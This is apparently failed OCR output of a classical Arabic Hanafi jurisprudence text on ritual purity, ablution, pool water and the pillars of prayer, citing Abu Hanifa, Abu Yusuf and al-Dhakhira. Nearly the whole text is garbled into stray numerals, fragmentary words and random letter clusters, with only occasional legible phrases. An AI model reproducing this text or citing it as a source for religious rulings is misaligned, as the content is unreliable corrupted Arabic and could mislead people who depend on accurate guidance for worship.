ل 20 ع حجان د
ترا كايا ١ ليزوا كان
جر ج017 ادير
2
2 ا 0ه
|
20 0 ا ا د 3
ُ 1 دي ا شي 0 ل
0
300 تج ا 00 2 2 0 3 1
سر شم
0 2030 ع ز 0 110 21 يونا
اواو و ف
0 دا
2 57
ظ كر ليلاي سن او
ا ره رسو 7
مي انيه 00 2
سور الالو يقري لور “اماد ولد
اتن ا
7 0 7
فق ّ متيناموا ل 0 ل
١ 656 عل
١ 0 ار دي ا لاض
0 1 ار و0
ا 1 0 م 0
سينا ا و اذ بخص
سي ا
روي وى 7 ادر 2
امد
كك 2 ماياب 5
او 11و
لتاب عايب جود داس شكس
رج ا ادر د 2 3007
0 و ا 0 و #است
2115 27
بََ وَأ
1 ا وو 1 2 سر
و وك يإ وطامر روا ودوى
الاير ار 0 تاي دده ا :
كادل.
10 ا ام 8
عن صا 1 ايم رجم مم
0 1
- 0
0
يه
0
000 0
ا إلح الوم 2
0
7 0
7
0 1١ ره
الا" 17 2 00 1
00 اجر
ان ترب د دن
مره ابوائف ايده زايا
| “دمي ا 57 له م
4 15 كُ يك م
مرموة وود ندا
ا ا 5 ار 11 ١
د اي 0 مير ولام
1 و
1 لول تددم يود وان 6
ظ متمحريز. 3 دن “كدر 0 ل ا
ظ 2 مو د
82 ا عدت اموس 31 سام 7
2 3 ا نارق ا
ددر 3 7 5 5 ١
0ش ا ده ساد وده
ا
ا : ا /
ا مجع وعند عاب ]|
/ م كلدي
بد 0 0 20 5
9 1 اده
وان
امل ا 2 لودل سكت 1 ا
وآ حاف حرو وض م ا
4 توي ور 2
0
يه انل . ارم
كني نود ريات
9 ق قا يت م زز ون"
0 00
! سس يسا 007
لمكي دجتموا ناه وكات 32 ل
ا ا 0 موي وير ل 0
سكو ار دري ا صصق
“مور د طروي ١ لتيل “هدمو
0 ار فس رراف فس م
لصون رد وجودالءٍ دوعر !
0
دض 7
د لي 0 ا الور
ا
عدَاسِيْعَالِد ون
/
-
ررم
0
5-6 ب 7
ره م 2 سس 9
اه وفاذاهو سراب ست
وم 3 بتو 0-0 5 0 5
38
اررض ب 2 > ب جر عرصا لبر
عم الماء قد 0 م ْ ح انوع |
لدو تبك 0 ادر 00 ع اكز |
بقع الوضوء وينضيمه يدوي ديكا
ور حير #لظريا
ْ ور 1 0
ا ١
1 را ادل
10
7
ندا سر ا
عع عر
ا
و دا مره
ديسكا ل
سه 4 7 0
للد سد تصلا
ا ور #ازى ١
ست سس سك م 0
لصاو 0
١
فى )
رس
سس
ع شد
لخي
06 1 53 ع
ادي روسك تراك
الدع لفق را 0 الذي كلاق ل “ازا
“بو وري
ا 0 2 و ور م
امام سو ومسني ل مَل اليا
0 5 ار در عارى
1 ا كان
١ 1 5 ا ار يدق سر
ا ب د |
2ن
0 7 د
“يي
1 5006 -ه و مط 2-212 دا |
9 ير 1 م انود نلقا |
مم دا الور
ل ل
0 مم ا
جح و 0 0
لوت عَدَوَاف وه
: 2 1 لوك دوا 0
لدي و عضي طابر كر ملا
ا ل ا
0 و سس سس سر سالا سا سر سر ا و لاص سد 0
لله ولسرمعه ماء سيم للع وا جد ماء ا
١ 2
ْ 0 0 0 لد د 0
ا دك 8
4
207 0 7 لب م جنا 0
ا 0011 نا بق الومتوة
00 اد لذي اجون
ا
لك 5 0 اك
ا ا رار تلن ين ا
رماعلا اراد فانم عل للعه
يا ب يم
ادم وح 2 0 ررق
0421 : ٍ سس 7
هكد يسلا المع وميه فيب
ل انالؤبي
كَ دين 9 زر ل دور لز الى ليج
ر/ م
1 0 2 5 ار
اس لو ع السام
للصلاه 0
- - : -
عارء 0
راون “ادح ' 07 لم
فوم موصماين يحون عنداححزفه وابى بوسف|!
* 2 جد لاد 20
قزمامتوم ار نو عاص سر ا ا سا و ربصن
ْ يوم
2212
لهي وَكَدا لد امو مااع
539 م 6 ا و يو 2
الم ا
امد ا
ا 0 ركبا سمالي علا ”ا
ك : 1 ورا
1 ا ويروالا و تاصاب
عا
ل دلا ادك المارك
ار دن ل
ات ا م 0
ا و 0 لانو د
ا 0 1 تبون 2 #م لمرو
رس ان سس سار د 5 3108 1000
اوبزول يك لاس + وحتيتية م اونا
ا يل 0 ا ا م 0 ار دج
١ 2
_ 2 ساه
|
المكهارة بلدا لمدكاء 507 عع
0
2
اليم كدرب لوجر شنو عد
27
و 7 ١
: 1 78
2 مع 1
4 0 0 35 بيج
وى 2 2
(وكثايدأ
ال 5 8
. 1 رمرم
3 1 7" ا
( 1( 1 5
3
4 و ا
ناد اليك ١
2 8 ا
كالبن
1 50
١ 1 7
. 0 ا
"0
0
0
3
2 1 0 ع اد
سرس 1 0
0-4 2
#1 سدور ر. عادر 7 . ودعو بو عو ا
لص 1 ا م نات
م اشر عؤد. قن در م |
دور س2 1100
ايه ماهمب راسد اوماف فد 0
| موي از ير جر ا 2 1
١ ل م ان مم ل ارا
لا ا ألأزى تطبر السْاناواا ساهواقا ور 0
2 شير ا ابا مون 4 |
١ 0 0
ا - 006 0 أ
ابغرداك كونا لكي ا د وار
ا 0 “ام 7
و 5 5 04 مس وو
ا ا ءِِ ا
ا كِ 2 عرد ا يي
0 ن 0 ادي
علَء املق وديا المآ ساكتايف]|
1 3 ا 0 م جنار 5
لوي
ود السبوان كن ماه علب
ا 0 “وري و
0
ودوك كلتما إ ان
ال ا - ا اضر وي م9
ا ذأ رك و ل و مي
حد| يسور و١ ع ل تزهب و دجا 2 -
0 2 2 5000 أ امن لور
و مط اك مرا ولاقام
و 2 2 ”ادر و بعل
ا 1 100 2 هه -
ا وان ا اجا
؟ 0 20
8
سد سودت سه
١
2
ددع 59د ا
ل
م بو اموي لوي مويل اساي
و 7 ار ا ول
ا كوه 2 ما ايسان
ا
د يع
5 0 وتو ايسأ ا س يرجأ ب و
بو ا ل ا
1 ار لغ فر م ك7 ل 0 دار |
مَالْجليٌ عَلموولو بل الذبز ارد ل رقته
م بيو 1# فى تور وض
2 0000 ل
مايا2 ف وعَج لشو
0 رن ا هيج 7 شر لاودى
رس رت 0ك 11
امك كرد كا ا
0 0 ا سد
2
ل
١ يس 227 02 رس ع هه
سحصد :
نه مكار ولي 10 7 1
2 0 ود طون ار لائن 0
ا 0
لي ا وب يذ
: فل ف ابو 0 0 حو
ره وو م ا ]|
وض ووأ جدود ورا طبارت
دري “نا
١ سس سه م حص أ
ل م ونا رياف مِصَْمِست | 0
اي 0 9 “ةرور و "بساور
وَكَذاذا سس هون ا ا
0 ل 2 8 0
ِ ل دره
22
2 000
لع ني والطهارة حوَلووجد
اج ع ص 0 1د 2-5-9
0
3 ع
ب 0 ل موي لاير م من
7 7 00 000 0
ا
ظ مه 0 0 ل 2 ا
ناذا دخلا َم وْحَوض لماع مَأ مَاهفليِلُ
مدير 0 ا ١
ا
0
0
:
ع 0 ال
امم ف اه راسد ده
3 7 ره سس فر 24 0
ا 8 ل ابعر لع
و ل ادو كارن
ابره ووسه ووس كوو ساسم مد ا
اا سد إأص تخب جه
السدور ا 1 3 ع2 01 61
وي شد
ثَْ
د
و ي» 2 و ظ
دذذ )
م زر كمه 5 3 سسسب ا ا
والغرات ورج لاسفل 3 ب ذا لويين
00
22 “ره ١ن 3
بر 22
اسرد لسغا ع دو به 0
ستوضو لجاز وهوالصم
2 5
1 0 1 ا
1 1 560 5 00 507
0 رك ا 40 و
01و عراس
بكسربإلوضوع 00
2- د 1-2
و عا داه
ا 00 20
0
اك 4
ا وئعر انو سى وذ الوذ وكات
عد ول كاك ديك وي و د و 0 ل
يا ع ل 2
|ألماء الذدى بلاى مد وكَا ا 20
اي مر 00 0 1 0
0 0
1 لي جَأنَ
5 و» و م درأ
ل ا ا
ءالما 0 وداج ظ
0
حجر
1
0
00 اد 0 0 ا
0و
0
0
ف 0 511000 ان تماق)
١ ا ِ 0 خاي 0 اسان ,ا
ا
ا د ْ/ ع7 ورك ١
0 116 220 بضعه!
١ ا يد مم 0 00 يو
١ وس ير 0 و 0 ب ا
ادكه نه ارده يورو لاشو د ِِ
ا ار 0 0
رك
00 ا
3 7 2 ررق سسا
ظ ل
0 ص
با مون
تس ب و ب 7
20 :
: ١ن 0
الل
0 0
2
0
ا 5
2_2 0 20
نالماء جحرى -
ا
ذن.
م
0
زد لير
ار زر
رت 0 2
و2
2 يحقمورَأدَاءِ
2 ص 217 رار يك 0
سد لامك مووي 0
ا
ا 57 ا 0 5 ا كد
ا 0 50006 سي
| تحجى د و -
| لوي سنكي طب در سد
ا 5 9 3 ع ادر اموا
ا 5
7ر612 ل ولا ساكل الا
ا يناوودى وجا دنا وسو بد عه
من و دون ماهد 0 كروي امو كك ا
اما
ا 111111
0 ا
5 0 0 0 ين
دل 0
ا عر وكا فعاو ولتق |
أ 7 0 كانه | ا ا » لك د زور
ا و اوردق مرو اد
0 مر 1 2 1
كات سنميس ل عَلَوا نكا لام |
12 ره و
برئها ب ناس
ع 4 و 5 بوي 3 لاحر
الا ال 2 َ
جع البطن يسا ولوكان ١ يَالهِريٍ 1 راكد
١ ا دس دعاو ا
هس 3 سكام ور 2 22
صرف ردصن أ ركبا و2
١ 00
ا 00 ا ير راون
رسو سثخُ وو سا ارسي وم د سوا
00 ا ذا لم 0 ١
0 لاس تل 0 0
00 ا
7
7 0
0 5
الور شرن
1
9
ال
<5 حوول ١
4 59 العامة مارحو اي
9 05 فال جرم لور
0
0 “تير
2 2
1
ات 3 رو
آذه ل
| وَبَوْسَعوا ١
0-0 و ىَ
0 3_5 دروي
و 0 0 0 0 1
لم د
86 هه
ع
مه
1
ذاعس لوه
ا
هيمر مر 5-5 سك
5 3_8 لبئ 0
١ 0
دزو 1 7 1و 0 رمثم
ظ 7 ا
ح وم كيس ف 2 -
ع.ر
--
ِ 7
2# 0
2 7 8
ا
ع ات
و هوضع الوفوع م 2
6 7
جهو
7 0 00 0 0 كح
و ل عنده الْقَرْيكُ شرطا
3 للا باد
2
اا و بر ار نسار و09م ده رص
سساح بخارى ري الكو و0
ميو على ”ديل “ورد الحوراديان
|
0 ا
يوسو موعوورة 2 7 ا
2 3 أ
0 2
5 ون
ا
نيسيك 00
ال 0
0 _- 0-0 عو
وال فْدِاد المكنا لجَاسِه مرئية يحون
مطل معي اي و
دكن 0 لاخلمدضه مضه الم عمزرا ميجن
سد يلاي بالتسس ]و ظ
أ 2 م 0 هه م -
وك مكف نوو غلير
2 0 2 0 “ 2-1
1 ك2 ؤز.و سه 0 2 0 م
0000 دس ا 20 0
بام
د 0 ار 0 رتوم
1 0 د م دم 4 لس دن
00
وو
0-5 1 5 ل 0
ا تن ير د 0 ستل
0 ار سس سه
ورنحوض فد جم اده وسطمر دقان عه
ان دوك ا ل لجر تيدر
بابد تاكن 6ن لل كا يلماضكن
موي 00 0 ان ل 0 لا 6 ا
ا رد ل رار ا 0
ام 2 2 ل
وا
ونار
5 ىلو
3 دو 0 عر 0 با
الاو ا 0 5 وار ١
ال ركيم بتر 0 1 ا
هوطع مزه لوجت شي يدوأ لحب
ا 0 ديد
5
7
ا قال نصس وا
| . 2 6 3 اسار.
اد ددى طبر لوي اسكافدوى
0 24 1 و ١
0 أسم 12و مص ل صر هه
ار 2 394
1 وس حساك وهر [
را بودن وم وض
اي يف يد يعم
در
0200 سه سا دي 1
1
0 00
١
د مط عر 7 0
عي 0 0
ل ا ا ا اا
| 0
ا ام ار ا
رن 0ن ا در
د 5
ضٍِ
ا مد
3 0
ا وعواقاتا
ع درك و 0 غزرى لاه |
0 01 ً ا
00 58 00 ا دور ري
1 ا 0
0 ولوانماء ا حا
0 3 0 0 ب
م
ب سد دس اط سروح ..
ع مسر فص دشي فى بس
ر 5
و امبرو 9 1 سل
0 م «١ 0 ا 2
0 1 1 0 20 27
0 0
"0 0 0 0 7 ل 3 00 د
ار
01
6 , جح موا ا كر ا
فىالدخيرة فَإل دح د م
ّّ دخيرفده و 0 0 5 شندفى هذا
06 0 30 55
ادق 50 ل
000 200 ل اي 2 رما
بو كلا 2 :
2 02 سرلا 0 م 8
ا 3 0 0 0 ص 1
7 معنا بره واوكت سع فوس امه .وام 5
5-6 وقالعس 0
وو و7
واك اه جع معو وَالمصبمت مل !لمن
وله ولونزك مشي سّرناه رك ذادةكاس ما يكن
فنا رضتاء لا . وذ يك نان براقيام
اكيم اوالقعدة الاخيرة فاة يقضره اليب
محزر واد ا وكعة ذان تَرتَ فلاح لوطع صلا يوت
القيام ات بإنئبم مالم جسمر وجرا لكوع لاد تَماضه بأ تام
وكنن اك لوترك! لكوع جود اليه ودقضومالم سو دفان جد
نيرام اوركوع لايمتد بتك التكعة وكذ لك لونزك التعرةً
الاخيرة وقام اللملكخامسة قار جود ماسر للئاسة
1 ووو رد رو
ذان يود وجدا كام سهرة بطلت ؤضه
007 0 شيوات اانة”
0 سا ص ا م ره
ل 0
ا
مضل فَايْدِسَالَكَ سا نما الهزي بين الاستتيا ء
والاستيلَاءِ وا لاستنمَاء فَمَلا لاستيراماستوال
الح اكه والاستبراءِ فتلالاقدام والككصّع
امت 11 2
يهَاوا مضي وا سال و عصرا دكي سين
ع١ م اسه اسه 40 ” سس و اس نل س2 سا
يدوالا لبول وا 1
101 وس سه ره
بدلك معورءة بالاحارحا دالاسييا اويا لضع
رس ١ سك عرسا ا( دس
ع الم لي ع
لفظ ريو
لحي د مويو ور بر 10
وقلل
1 سات سر رم سر ا 2 77 1 ٠.
اولحر قري نا
“وو ب ا 4 ا ا ب
ده
000 و : دا
دواد
م و
نضا م 01:
2 00 بر وى ميطوري لان يلع
0
س2
0 2 -
1 0 7 00 0 ىذ اد حَ
| اين وخر من جابب 08 اومان 00 6
م 6 1 ادن ره
00١0 “ 2-0 3 . ادح د ٍ أ
> سيد ع سو صر
فد ورا صو ميد انان فوف ذا 5
1 5
2 0 “جر تدس ا
6 #رر هم
إنَالاء لسعم لام
ا 7 و 2 0
ع 0 0 اردق اوم
00 مووي 0 0 0
دس س7 عقر اي يس سس قرو ةس قر" س1 و
كأفوقه كنا 51 مب ونه كنا
ل 0
ا 0 00
ارو 7 م مع الولو تأ
موي 3 8 لاس ع لدو لدم بل تدز
ددمي يألا
١ ادر كريس 0 0 12 ودرا
- 6 00 0 000 70 ا 5 ١
مَدَالمَانا لايك ا ا
3
ا
ايد 56 صلم ظ
ا
أ
(
4
>عبذ /
الريعت 0 ١)
م 2 526 1(
آي وس سه سد قر 1
ايكان: دكين نوو هوستن باه دا
مده
ا ا 5 ا
و
57 م مه
6 ام اعرد م الإو 2 2 0 2
ا 3
0
دمتسم ا
00١ ام
الل
42 و 1 ار
3
2 1 1ل اوس وز مس
ء 2 0
حوص صعد" هينه دجل برا 2 وَضعاا
١
2 7 موه ميو أب 5 ستاش |
ار “وي لاو را 7ج 2 00
0
مِنَ مجك وان م
اج ا
2 قن 1 00
م و سه سر سس 2 06 ا
متدرا واجا أل فوا من وصوءا |
2 ا ا
39 ديد ا 2 0 0 ع ١
0 يمو
2 و يََ ص 2 0 ٠
اي مسأ وان ب
3 20 3
2
ل وس و 5
مس يا 3 0 ا 1 2
ص ع 2 16 ما
و تيو ناد راجا لعجن ديوس مما ليام
0 ا
يد ارا ريه دخ يده كد 0
0 7 د ”ور انين 2و م 0
الى
56 حطحطوو
1 1 170 0 أ
0 تين 0 0 ا 0
1 ٠
0 0 5 ١ ا
ًَ
حّ ا
وى و
0 0
0 سَموَعوَمَاردَككات ألما
7 2 مز وص مو ان
ل ا ل
ورد 0
اس امنا لابو لسكأ يفنت
]1 1 رديه نه رمد 3 ا
00 2
ماي 2 زه سه ل ره
مر وأ ل هوعندر دلوا
ْ 000 ا ا هن 0
ا 5-2000 :
0 د مو
ا ارو ل رو هم
للح كلل لك جل الصرورة البرك ا
ا جر اده كدزي بم
2
2 “رازن
ف مم و 7
23 0 3 و
000 ا
اي 0 0 0
١
7 101 00 200 0 0
ماصع ليرا حَمِمِيَه
لبن 01 “ابي لش ادن “ارك دا
00
سر 02 4
ْ اي 0 7 )0 7 0
مدر
مد 0
0 ماه ارو ال رس
لواحو اد ابيا بد اج
ا 2
الس مه ا له 42
ذا لمرب ا 1
ْ لتر الزن يي 500002 0
1 ضور
200
الصَحيدم الات ويك بر سيق وفيا
: ولو 0
جارحو
0 ا ل داح ينه
١ 7 اد 0 7 000 0000 5 و “لط
ا
عر ل 2 01 س7 بس مسر عه 5 ره
نم6 موا 25 بأسدكًا الإناع'
ظ
أ
آ
9
| صو رض 6 م ات
ا
3 عونا رو 00 |
ا 5 ددا
50 0
2 2 0 لان لامر مي ١
0 و لاون 6 7 ٠
د و سل 9 مسيم
ا 0 5 2 10 0
اوبوت 2 1 0
اع طن ا 3 0
ا امن
ايفين مَجوك وا أجابة
ره م 0 ع ل و 0
1 َدس'كوعوََك َم ساعد 2
لوزيو موي أ لاد رد ماص موس
تا ل تر 5-2 31 20 |
تحن مسا م دار 3 “دما
0 0 ا ٠
1 َ
اإحد 1 “دمن لاد ع ا
ور : 1 0 ا 2 د |
7 بعزرانا 0 7 |
2 2 07 96 00006 ؤ
ص ع دَمقما
2 لاز ورا
| ترد 0 8 م 7
سي
امه رف 7 رس 0 ا دي 0
و د وان كأ 0 -
ْ تون 1 0 1
جر
ظ 2 لي 28 1-7
اها واِسداوْه] عيب بدن هنو
1 0
4 00
م م 3 ل 0 3
00
0
رم سس ع ع وت ع7 و ص مرو هه سه
0
وض الطهارق 20110 لو رجور
و ب
دن راي لد متكت 0 ١
0-1 110010 2
جد
||| ص2
- 2د 0 0
د ره 0 0 ا ار
مضا ىر بحي إِنَا كسد وم |
ا سوير ١
ا( 0 4 0 ا | مو حارو 2
6 0 1
0-0
9 ته بق 5 م از
00 ْ ا
أ
0 لمكن لاض نايتا
ارد
0 106 ابل 1
1 سي ار 0 © متام سويرا|
0 8 ا تار
0 ا قب قزر د تطابى 9
0 5
ا
كملع عدا انام
ا د 2 يم ندر ا
1 2 0 0
0و١ 5
0 0 37 0
ْ 0
0 0 0 ا دن
ًّ
سئى:
ار
د 2 بطهات 1
2 الكاء ولو 1 2
3 3 7 7
52 2-00 مي
0
5 لدي
أ رس يما لب 7
0
ا
0 0
57 17
0 اي ا رفسم
2 0_0 7و 1 وو
8 و مده سام عا" عر صو 0
ولو 1 دن وجب علد 3 0 :
و 0 2 و
“ادر
0 5
5 0 0
007
2000 35 0
ا سه فرط الماءٍ فحنت وت
جا ا ا 1 0
١ 0 5 ار مر ١
رم و جور اول م
0 15 3
2
١ 2 0 وك و
7 0
١: 000 0 4 ا
1 50 2
| ا ليجل وا والرأة ويف سى و ا اهما
م 8 9 وقد استالنا
0 اد
2 وي 0 و مره 5-224 ١
بالماصام يرجوء مرف السام اليناف
2 م وم ساعد 1
ليه لور الج ستلرى ديم |
1 0 خرصي ا
1 0
000 0 ل م 2 0 0 ١
7 ا
0 مه 1 و ل لس اا
00 مِن مالسو 0 مدماً
5 ف اول لوك سانا
اقلم اد سماد
5 سيم 000000
ا 0 0 ا 08 ا 0 اها
ساس ابت ساس د سس لسك ور ال ار
7 0 0 ةي
5
لكر 0 0-0 ع0 ا
0 0 1 00 /
و | ند يدير عل
1 3 و 1
0
و 50 00
و
و د 5
4 500 1 0 5 5
١ ا دحا
5 2 2 42 1"
و“ م 2 0 5 ل«
رذ ةوس ال 0200
أ ات 19 0
وبتماعماة 00 يد وان لا صما"
0 3 1 00 0 -2525 24
ظ ا 01 ا اه
لإا كك برذ 0”
كج 1 مس 2 الى
0 0
أسا ويه 0 ا ا رايا
| سرك اه حير مانت كلى اخ ا
2 م 0 ار 2 0
أومروا نمالا لمي دادح
أخوى رن ير لا 00 مادا
ده 0 اك ل 0 2 “ور
ني ددا لغ ودف رأسة ا
3 0 من 0 2 0
0 ا
يا
2 1 0 1 سك س7 5 وولء |
202 2 00 إلى التي “ادير كد |
/ 2 7 1 ا 50
ا وكيا الأدكنا سل ؤ
0 1 3 ا
ا 0000 ١
ا 0
ره أ
ا 0 1
لقا روبع
7و ١
ا ددن قو 2 0 2 رص عا
خلانا
ري ارم
ادم رو 5-7 ا 0 3
2 0 3 م ا 2 0
وو 00 -
سدس ١ رك 0 وي
ذأ ره ل
0 3
2م ان
7
0
2 ا ل 0
0
ره ولام 00 0 00 1 7
رَجِلهِ وَاكانٌ مو ا مولا ١ 0 5
0 ل 0 0 “قن ا
0
8 0
82-22 20 0
وغ جل مج ددن بمرا دده 0 2 ومسو
0 جه اولا اندستنوذا
سد لدبي 05 2
كل 5 1
جرلا سه
0
| اليس عل كسح لل حُرَينَ
سم عه
ا ديرن 0 8 8 7 000
١ مم
17 3 00 /
5-2
1 :
0 2 كلانه سى 00 در
ا
ا ٍ
ا 0
ا ث2 2 و
كس لودع وان ميرد ب
أ
ا 5 ره ا ار 3 2
ا و ودس سر 72
م ور 00 011 00
اع اموق المي كان حا قات
<ٍ
ا دي هل
مام اموس ري
لجان أذ لكان وطق ب
0 د 0 0 0 دي ا
0 مرة , ا ١
0 يام رم
٠ 1 ل
ادا
ل دحو
2 او ميو
0 0
نان 2 0
2 “اده ا د
0 0 1 0
“ا 4 2
00
2 7 يس
رح 2 ري 5
من دق
امريد ٍِ 0 0
ع فقس عم م و كين لس مسرم يوذ ا 0
0 000 ا
5 م وح مفناد 6 0 من عبرم
1 س0 رصاق يرى حملا بحصي
ماين 3
ار م مسهو سي سر صصص دجاه وو
٠ دظهم اها
5 م عاد ايك سب يريا 3 00
200 0 0 ا 5 0
| 0 0 0
١ 6 2 0
كنطو لاز : ست صايع و م وَاآنَقِضِنَافَه
باد تن فد موود اوملكتي
ا شٍْ
عه درت عه رز
| عه م م 51 0 اي 1 0
مم كا عجواذا كا حرد
ا 0 دن ا م 0 0 0
00 ا
لاسي 0
0 5 قرم
0 2 2000
7
00 ييل وال !داكا
ا ان 2
و 0 0 --
ا 0 25
ناك را سي ا
"ذو #وفن 0 #20 00 بك
ب ا مر ا
تلع خويه 0 إن
١ 0
0 0 “كدو
و مره 6 عرس سه اح 7 سا ل ا
ذإن سَرْع جضرا
0 5
0 2 2ه
10 عضر
0 ١و0 20 ات
3د 0
ديوع َل م مقكا فدات
0 0 0
أ( بي 0 0 5
5 ص سداس سا م
0 يه 00 وبه اذ
6 0
“سبو
ألم قد سم بس و سد اد سد و
ال 9 د 1 100 معم |
يه ا 4و تمع
ا ا لي 4
0 0
5 00 عاا و سم وك رو
اديع لعَدمين وص ةدس َ
ا 36 6 00 م اد
“در 0 ملام ,2 2
7
ا
كه رم
مه
20
صيتو ْ
0 ير -
يه (
م 0 0 5
0 صكددالوَريم
الل
2
7#
ومس 00
وه سا2
ل ا
تموجعودا وبع
00
1 0
ا
ديك حدم
“د ده
م 0
1 6 0
كار 9
ا 0 2
ا
دسا جرههما ءا
ل 1
د او
2
-
بالا با 0 و 2 اس سف عبر وس
كد اومن عبر هاغي رمنفني جروزة
ا 0
8 0
2 مس علر ل > ساك ترلل سس
غك 3 ةدونسم
ا الي م
2
6 عرس 0 2 رس 7 1 ا
7 نسو وأ وان وكورا 2
ا :
0 دو 3 0
ا ا 2 . 00 .
!الما يرِوَان سن غير وضوء كن سقطت |
رم م
درو 10 د او
00
ل ار اط اص اصرق
عو عبر لأس طلسم وان سَع لعن بر بطل
22 ثور لك .
اوور 1
دك
00 دوزي
جا ساد و عاش سسكا |
-
-
١
7 ١
الست ضر لسارو .
0 ف ل
“دول اي ره 1
0 000 د
02 2 2 ار
له سس و 56 0 26
عا لاحل 3 2
حت ا قو للح رد عت د
دوو هوري ادم بو را
ا ار 2 2 00
8 الى ا لاس
06
1 ول د 2 ورا
متايه م 1 :
و 8 ان جر و
2 0 00 مه
ار 1 ماحد يليم '
0
2 0 رخ 2 ا م
3 ار
0 8 0 0
عر ا ١
ا ا 006
2 0 3 ا د 1
اه 0 ا ا
0 ا 3
لسرت 0 0 3
كديا ماما كك و جك
0 يي دور و 2 ساد قو تسترا
ا 22 2 ل بعان الي
0 0 <دكرق عراد 0 1
0 1غ 1 0
_- أ 2 ين ع ل رج
حياط يسا عاؤلوك خْ 5 الاستفابة
1 ون 3 مر -<
ا 0 7 4 كر زى ال مين
١ 0 : تي 4 تي دودر
1 سينا
١ ل 00 نا
| لدؤرري ابص
ا
١ ١
ا
4
2 2 س0 م سس ذه ونسزفر 3 م سل 0
جَاروَانٌ م لين اود 0
2 مب
3 اي ا 30 5
6 7 دس 0 ده الام ا
0 1 0
3 0 وكات لوه
هك
70
لو قح عم يلاي بإ 2
اسع مارج سومج
17 5
2 و مقطو مات
0 0 و جا 2
ني
10
باقدوته فإنغس لموضع |
0 وق
ده
مس ف 1
1 0 2
ص 1 د ال دنر 3 4 ا
ار ا
سس و هر و
0 00 3 ا
ا العطو قن نل
0 0 '
ا كع سد 0 لي حت يكم انتمأ
7 ا
قر
ْ 0
هه 0 ساس سجس سه الك ل 00
الك وض وسح الجميرة ولبسرجفيه تو راحهدثت
و 0
ا م 30 ل 3 ملل “بد
بو
5
رع
0
ك2
ا
0
500
7 اط لان شه 0
اير 2
7 -2 52 0
5 أصإيمجاَ ل ولدلا
ا 2
ارم وو شب لاو “دمو لد 0
ا 3 ١ ,
0
كان 0 00 1 0 !دا
ندا 00 ويم
لز حرج ون ا ا
ل
3 270 5
ّ 0 8 32 7
0 انا
ا : 7 تر 0 وا
( تلت لهند اد
اس 1
ل س9
الأدي, “اي تل اثذية 2
كن
2 ل الدقاد 2 كنال
ره وى يلاد
د ار م 2
و ا
000 2و
2
لين يبعي ةو 00
38 5 0 ا
ل 1 دن لبن
ا :
هه ود 6 اسه ووس 0 5
اك ا 2-١ 0
ا در 0 :
ار -- ا"
0
وه م ا ار
الم علا حادم له
م
ا راف فار 7 0 0 7 7 ا
ك2 عي ليلاي 1
ا و و 1 د سر
0
عبن لمانا سوق هو اللذخيرة ١
1 سه 2 ايان 7 1ت
ا لال ِ
7 ا ا ل 2 7 1 0 7
71 وزع سعد إلى وَطا حر و :
#جدى لحن ادل 1
و وو ص سده ةا
ف اه 0
أن مالساي 0 ويجود|
00016 ا
اعم الوضوء |
0
4
27 مس اص لد واه ام
2 وي مِنْالعضةيحب
0 ثجر 5 0 تَُ 0
030 00
323و داه نا
6
ل ايع ميا
7.
لاسن 26 0 1000
2 0 م 0
0 5 0086
3 لذو 0-0 اذخ وهزي صعارن لير
روي ا
ا دست لصوم مسد
00
د دا ادم
1 ركه اك
> ِو
ا ا ا 50-6 اسيئر ٠ عله
ره يد 5 و 2 2
عا ييه لاسَعَصوا لإحوط أن يسَوض] و لطر ؤ
3 انق “«دون. ووم 00 0 سه
| ”وو 5 001
ا تدرش 0 ا 0
ده زم 0
عر .1 ع ضرم ع ضر 77 ع جر -ه 2
الش ذا ليرو تيادلا يد ِدَافِحيْفَة
ري" 06 ,7 9 ١
اليه 0 ال
ا 0 6
لطم ونوا واحِلي ]د بتطنة ود ونج ل
ا لامر وم فرع و ونه
ا ا ١
ا(
لل 0 4 وس سروس ا 1 را
ولولا" لطن جر منةا لبول فالا سس رولا يفيض بشسقّض|
ا دا ا د بويك
كر 0
ل
وصوءى
110 100
ل 0
0 و 6 وو 0
سهد و
2 0
١ 0 0
7 ص 9
وس يمس واصره ور 0 وه 00
تاغلو 1 يحاوض و ضوع ه
بل
كَ ا سق 0 لت
0 200 “لور
2
0 كت
ةوه طبض 21 و 2 1
0 4 وان
2 0 ُ 2
ا 0 2 سر رو
أ سه لم ١ شؤعره 112 كد سن
0
م 1 00 #دريع
ْ 0 1 الوقن لماعل
0 0 2
----- 0001
5 وراد ا سكا جه انتعض|
اي 2 و هرو لماعي 0 مدير
و
ا َم يلياد فالفَرج إِلَاخْلٍ ١
ا 500 2 اى شرا ل
ار لان وك رن 000
يه للا ان أ
.
ولاج مَن مَك افر كار 0
2 01 ليون كور العرض دود
ا رد 6
َال ساق ويمود مد د 00
هر ا ٍ بازلا
احص د ليجل 00 اواك
3
2 ا
0 سس س2 ١
ا م الاين ْ
لزب دري ادنر مح ا د كد وروا
وجب
ا ؟. .
لاود و وما يبتع ١
00 ا دض 55 0
0
اذ نعف سو م 1
اضر 2 4 ار
0 م رس ل 2000 306
0
2 يل
27 0 4 221
وريدم لومي
7
١
7 ادر ادر ل “دري
ل أده 2
نا ببس اكات 5 1
0 ريسب د
2 98
-
7
0 00
وأنصورَمن | اه عض | ! لاإن
0 00 0 52 ا م
أ س2 ا 226 ل 50
ملاالضموا كان سّلال شل فول أ حنيم تقض
ا ل ل
ا رن ره ؟ عض
ا / 0 ل
ا نر
ل سور م0 سد م ا 7
كلك كلوانت عمد ربكن
ار 100 00 “دجون أ
تار لوبي 5 جد
ا ل ير
بلت 5 0
رده
رو و 0س ع ردنا 0
ُو ديوِسِفَودَا سداد َلفَدَالييب
0 57 ا 0 ث« 3 م
م 0 ور
5-7 1 89 - 52
4- 00 8 4 اس فسا
0 7 و اد
5 ا ا مدر ٍْ
02 ل
2 7 افير 0 592
ظ 5 0 8
نادم وكحوة 5 ا ا
0
000 من الدج ان سال ا 1 ؤ
د 2 0 ْ
لكات
ا 1 ارس و
ناسؤي إشكا يا ك] نيزنا سسا
01 2 17 مض ا م
أ ودعراق اوصح يدان سَالعن ّ سن ع نض وان لع
| “دور #«مروى مووي 01
0 َ “سد يؤر دشر
م عع سل دالواو عد ع م2 5 سا سام
: لقص وتسمي ا لباو أن 6
3 “اوضر م 0 د
ا ترا رد ا
ل 0
0 0 ةم
رس 5 0 51 مضع
اداه 2 !1 مضع ب اليد
عدا لاع فص وا لافلا 00 ْ
سك مره لد سا ادر سار ور لاد
حر لحر كر 00 020
كك
ار 1 مر ب د دوجن “ادام
تجرد
2 0 1
بلق 2ك الطيير ماد اك
برهي 0 م 1 شرن
5
“د رع
ا
10 و ار يروي
ا ا د
سس 2 اس ملا
مر 0 “در 0
ل
